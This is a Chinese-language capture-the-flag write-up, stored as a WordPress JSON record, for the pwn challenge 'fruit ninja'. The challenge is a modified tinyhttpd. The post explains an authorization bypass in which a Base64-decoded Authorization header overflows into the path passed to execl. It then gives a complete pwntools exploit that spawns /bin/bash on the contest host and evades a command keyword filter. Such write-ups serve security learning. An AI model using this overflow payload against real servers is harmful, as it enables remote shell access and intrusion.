{"id":656,"date":"2025-03-18T01:07:56","date_gmt":"2025-03-17T17:07:56","guid":{"rendered":"http:\/\/39.104.51.85\/?p=656"},"modified":"2025-03-18T01:07:56","modified_gmt":"2025-03-17T17:07:56","slug":"nss%e6%96%b0%e7%94%9f%e8%b5%9bfruit-ninja","status":"publish","type":"post","link":"http:\/\/blogbo.cn\/index.php\/2025\/03\/18\/nss%e6%96%b0%e7%94%9f%e8%b5%9bfruit-ninja\/","title":{"rendered":"NSS\u65b0\u751f\u8d5bfruit ninja"},"content":{"rendered":"\n

\u867d\u7136\u662f\u65b0\u751f\u8d5b\uff0c\u4f46\u8fd9\u4e2a\u9898\u4e2a\u4eba\u89c9\u5f97\u5e76\u4e0d\u6c34\uff0c\u662f\u4e00\u4e2a\u633a\u6709\u610f\u601d\u7684httpd\uff0c\u611f\u89c9\u51fa\u9898\u53c2\u8003\u4e86\u897f\u6e56\u8bba\u5251\u91cc\u7684\u4e00\u9053\u9898\uff0c\u539f\u7406\u4e5f\u662fbase64\u89e3\u7801\u6ea2\u51fa\uff0c\u9898\u76ee\u7684\u6e90\u7801\u5e94\u8be5\u662f\u6539\u7f16\u81eatinyhttpd\u8fd9\u4e2a\u5f00\u6e90\u9879\u76ee\uff0c\u4e0b\u9762\u4e00\u8d77\u6765\u9006\u5411\u5206\u6790\u4e00\u4e0b<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u9996\u5148\u521b\u5efa\u4e00\u4e2a\u7aef\u53e3\uff0c\u7136\u540e\u5f00\u542f\u76d1\u542c\uff0c\u6bcf\u6b21\u63a5\u6536\u5230\u6570\u636e\u5305\u5c31\u521b\u5efa\u65b0\u7684\u7ebf\u7a0b\u5904\u7406\u6570\u636e\u5305\uff0c\u5904\u7406\u51fd\u6570\u662faccept_request\u51fd\u6570\u3002<\/p>\n\n\n\n

\u8fdb\u5165accept_request\u51fd\u6570\uff0c\u6211\u4eec\u7ee7\u7eed\u8fdb\u884c\u5206\u6790<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u524d\u9762\u5c31\u662f\u5728\u505a\u4e00\u4e9b\u68c0\u67e5\uff0c\u5224\u65ad\u5f53\u524d\u8bf7\u6c42\u7684\u7c7b\u578b\uff0c\u7136\u540e\u628a\u8bf7\u6c42\u8def\u5f84\u62fc\u63a5\u8fdb\u53bb\uff0c\u5e76\u4e14\u5224\u65ad\u4e86\u8def\u5f84\u4e2d\u662f\u5426\u5b58\u5728”..”\uff0c\u907f\u514d\u4e86\u8def\u5f84\u7a7f\u8d8a\uff0c\u5982\u679c\u8bf7\u6c42\u7684\u662f\u4e00\u4e2a\u76ee\u5f55\uff0c\u90a3\u4e48\u4f1a\u81ea\u52a8\u62fc\u63a5\u4e0aindex.html<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u7136\u540e\u5982\u679c\u6587\u4ef6\u53ef\u6267\u884c\uff0c\u90a3\u4e48\u5c31\u8fdb\u5165execute_cgi\u8fd9\u4e2a\u51fd\u6570\u91cc<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u9996\u5148\u68c0\u9a8c\u8bf7\u6c42\u662fpost\u8fd8\u662fget\uff0c\u8fd9\u91cc\u5fc5\u987b\u9009\u62e9post\uff0c\u56e0\u4e3aGdecBase64\u51fd\u6570\u662f\u672c\u9898\u7684\u6f0f\u6d1e\u5173\u952e\uff0c\u9009\u62e9get\u65e0\u6cd5\u8d70\u5230\u8fd9\u4e2a\u51fd\u6570<\/p>\n\n\n\n

\u63a5\u7740\u4f1a\u8fdb\u884c\u4e00\u4e9b\u6570\u636e\u683c\u5f0f\u7684\u68c0\u9a8c\uff0c\u8fd9\u91cc\u9006\u5411\u7684\u7ed3\u679c\u5982\u4e0b<\/p>\n\n\n\n

POST \/rule.cgi HTTP\/1.1\\n\\\nContent-Length: 512\\n\\\nAuthorization: Basic<\/code><\/pre>\n\n\n\n
\u63a5\u7740\u52a8\u6001\u8c03\u8bd5\u53d1\u73b0\uff0cv21\u5176\u5b9e\u5c31\u662fAuthorization: Basic\u540e\u9762\u7684\u5185\u5bb9\uff0c\u7136\u540e\u7a0b\u5e8f\u4f1a\u5c06\u8fd9\u540e\u9762\u7684\u5185\u5bb9\u8fdb\u884cbase64\u89e3\u7801\uff0c\u518d\u5c06\u89e3\u7801\u540e\u7684\u5b57\u7b26\u4e32\u548c\u201cpwner\u201d\u8fdb\u884c\u6bd4\u8f83\uff0c\u6240\u4ee5\u4e3a\u4e86\u9976\u8fc7\u8fd9\u4e2a\u68c0\u67e5\uff0c\u6211\u4eec\u9700\u8981\u6784\u9020\u7684\u539f\u59cb\u5b57\u7b26\u4e32\uff08\u6ca1\u7ecf\u8fc7base64\u7f16\u7801\u7684\u5b57\u7b26\u4e32\uff09\u957f\u8fd9\u6837<\/p>\n\n\n\n
Authorization: Basic\\x00pwner
\u8fd9\u91cc\\x00\u662f\u4e3a\u4e86\u8ba9\u5339\u914dAuthorization\u7684\u65f6\u5019\u622a\u65ad\u5b57\u7b26\u4e32\uff0c\u6240\u4ee5\u7f16\u7801\u4e00\u4e0b\u5e94\u8be5\u662f
Authorization: Basic\\x00cHduZXI=
\u8fd9\u6837\u5c31\u53ef\u4ee5\u7ed5\u8fc7\u68c0\u67e5
<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u63a5\u7740\u7a0b\u5e8f\u5f00\u542f\u4e86\u4e00\u4e2a\u5b50\u8fdb\u7a0b\uff0c\u5728\u5b50\u8fdb\u7a0b\u91cc\uff0c\u4f1a\u6267\u884cexecl\u8fd9\u4e2a\u5173\u952e\u51fd\u6570\uff0c\u8fd9\u4e2a\u51fd\u6570\u4f1a\u6267\u884c\u7b2c\u4e00\u4e2a\u53c2\u6570\u5bf9\u5e94\u7684\u8fdb\u7a0b\u5e76\u5c06\u5176\u66ff\u6362\u4e3a\u5f53\u524d\u8fdb\u7a0b\uff0c\u800c\u6f0f\u6d1e\u70b9\u5c31\u51fa\u5728\u8fd9\uff0c\u8fd9\u91cc\u7684dest\u5b57\u7b26\u4e32\uff0c\u539f\u672c\u662f\u6211\u4eec\u8bf7\u6c42\u7684\u8def\u5f84\uff0c\u7136\u800c\uff0c\u6211\u4eec\u5230ida\u91cc\u770b\u4e00\u4e0b<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
v18\u548cdest\u662f\u7d27\u90bb\u7684\uff0c\u800cv18\uff0c\u5c31\u662f\u521a\u624dbase64\u89e3\u5bc6\u540e\u7684\u5b57\u7b26\u4e32\u6240\u5728\u7684\u4f4d\u7f6e\uff0c\u90a3\u4e48\u6211\u4eec\u7684\u601d\u8def\u5c31\u6e05\u6670\u4e86\uff0c\u4e00\u5f00\u59cb\u6784\u9020POST\u8bf7\u6c42rule.cgi\u7ed5\u8fc7\u68c0\u67e5\uff0c\u7136\u540e\u5728Authorization\u4e2d\u6784\u9020\u6ea2\u51fa\uff0c\u6700\u7ec8\u5728base64\u89e3\u5bc6\u4e4b\u540e\uff0c\u6ea2\u51fa\u5230dest\u7684\u4f4d\u7f6e\uff0c\u6539\u53d8\u7a0b\u5e8f\u6267\u884c\u7684\u6587\u4ef6\uff08\/bin\/sh\uff09\u4ece\u800cget shell<\/p>\n\n\n\n
\u4e8e\u662f\u6700\u7ec8\u6211\u4eec\u6784\u9020\u7684\u672a\u7ecfbase64\u52a0\u5bc6\u7684\u5b57\u7b26\u4e32\u5982\u4e0b\uff1a<\/p>\n\n\n\n
s=’pwner\\x00’+’a’*250+’\/bin\/bash’

\u9644\u4e0a\u5b8c\u6574payload<\/p>\n\n\n\n
from pwn import *\nimport base64\n\np=remote('node5.anna.nssctf.cn',29353)\ndef encode_base64(input_string):\n    # \u5c06\u8f93\u5165\u5b57\u7b26\u4e32\u7f16\u7801\u4e3a\u5b57\u8282\n    byte_data = input_string.encode('utf-8')\n    # \u4f7f\u7528base64\u8fdb\u884c\u7f16\u7801\n    base64_bytes = base64.b64encode(byte_data)\n    # \u5c06\u7f16\u7801\u540e\u7684\u5b57\u8282\u8f6c\u6362\u56de\u5b57\u7b26\u4e32\n    base64_string = base64_bytes.decode('utf-8')\n    return base64_string\n\ns='pwner\\x00'+'a'*250+'\/bin\/bash'\n\na=encode_base64(s)\n\nprint(a)\n\np.sendline('POST \/rule.cgi HTTP\/1.1\\n\\\nContent-Length: 512\\n\\\nAuthorization: Basic\\x00'+a+'\\n')\n\n\n\np.interactive()<\/code><\/pre>\n\n\n\n
\u8981\u6ce8\u610f\u7684\u662f\uff0c\u7a0b\u5e8f\u68c0\u67e5\u4e86\u547d\u4ee4\u5b57\u7b26\u4e32\uff0c\u4e0d\u80fd\u51fa\u73b0cat\/tac\/echo\/flag\u7b49\u5b57\u7b26\u4e32\uff0c\u4e8e\u662f\u5728\u8fd9\u91cc\u6211\u4eec\u91c7\u7528\u5c06\u6807\u51c6\u9519\u8bef\u91cd\u5b9a\u5411\u5230\u6807\u51c6\u8f93\u51fa\uff0c\u5e76\u76f4\u63a5\u8fd0\u884cflag\u83b7\u5f97\u62a5\u9519\u7684\u65b9\u5f0f\u83b7\u5f97flag<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u603b\u7ed3\u4e00\u4e0b\uff0c\u8fd9\u4e2a\u9898\u5728\u6bd4\u8d5b\u8fc7\u7a0b\u4e2d\u6ca1\u505a\u51fa\u6765\uff0c\u4e00\u5f00\u59cb\u4e00\u76f4\u4ee5\u4e3a\u662f\u8fdb\u7a0b\u901a\u8baf\u7684\u95ee\u9898\uff0c\u518d\u5f80\u8d44\u6e90\u7ade\u4e89\u7684\u65b9\u5411\u8003\u8651\uff0c\u540e\u9762\u4e5f\u8003\u8651\u4e86\u6ea2\u51fa\uff0c\u4f46\u4e00\u76f4\u5728\u8003\u8651\u662f\u4e0d\u662f\u6808\u6ea2\u51fa\uff0c\u5e76\u5426\u5b9a\u4e86\u8fd9\u79cd\u60f3\u6cd5\uff0c\u6ca1\u60f3\u5230\u53ef\u4ee5\u76f4\u63a5\u6ea2\u51fa\u8981\u6267\u884c\u7684\u5b57\u7b26\u4e32\uff0c\u5176\u5b9e\u770b\u900f\u4e86\u7a0b\u5e8f\u7684\u8bdd\u8fd8\u662f\u5f88\u7b80\u5355\u7684\uff0c\u5c31\u662f\u4ee3\u7801\u91cf\u6709\u70b9\u7e41\u6742\uff0c\u8ba9\u4eba\u770b\u4e0d\u592a\u51fa\u6765<\/p>\n\n\n\n
\u633a\u597d\u73a9\u7684\u9898<\/p>\n","protected":false},"excerpt":{"rendered":"
\u867d\u7136\u662f\u65b0\u751f\u8d5b\uff0c\u4f46\u8fd9\u4e2a\u9898\u4e2a\u4eba\u89c9\u5f97\u5e76\u4e0d\u6c34\uff0c\u662f\u4e00\u4e2a\u633a\u6709\u610f\u601d\u7684httpd\uff0c\u611f\u89c9\u51fa\u9898\u53c2\u8003\u4e86\u897f\u6e56\u8bba\u5251\u91cc\u7684\u4e00\u9053\u9898\uff0c\u539f\u7406\u4e5f\u662fb […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[12,1],"tags":[],"class_list":["post-656","post","type-post","status-publish","format-standard","hentry","category-pwn","category-uncategorized"],"_links":{"self":[{"href":"http:\/\/blogbo.cn\/index.php\/wp-json\/wp\/v2\/posts\/656","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/blogbo.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/blogbo.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/blogbo.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/blogbo.cn\/index.php\/wp-json\/wp\/v2\/comments?post=656"}],"version-history":[{"count":1,"href":"http:\/\/blogbo.cn\/index.php\/wp-json\/wp\/v2\/posts\/656\/revisions"}],"predecessor-version":[{"id":665,"href":"http:\/\/blogbo.cn\/index.php\/wp-json\/wp\/v2\/posts\/656\/revisions\/665"}],"wp:attachment":[{"href":"http:\/\/blogbo.cn\/index.php\/wp-json\/wp\/v2\/media?parent=656"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/blogbo.cn\/index.php\/wp-json\/wp\/v2\/categories?post=656"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/blogbo.cn\/index.php\/wp-json\/wp\/v2\/tags?post=656"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}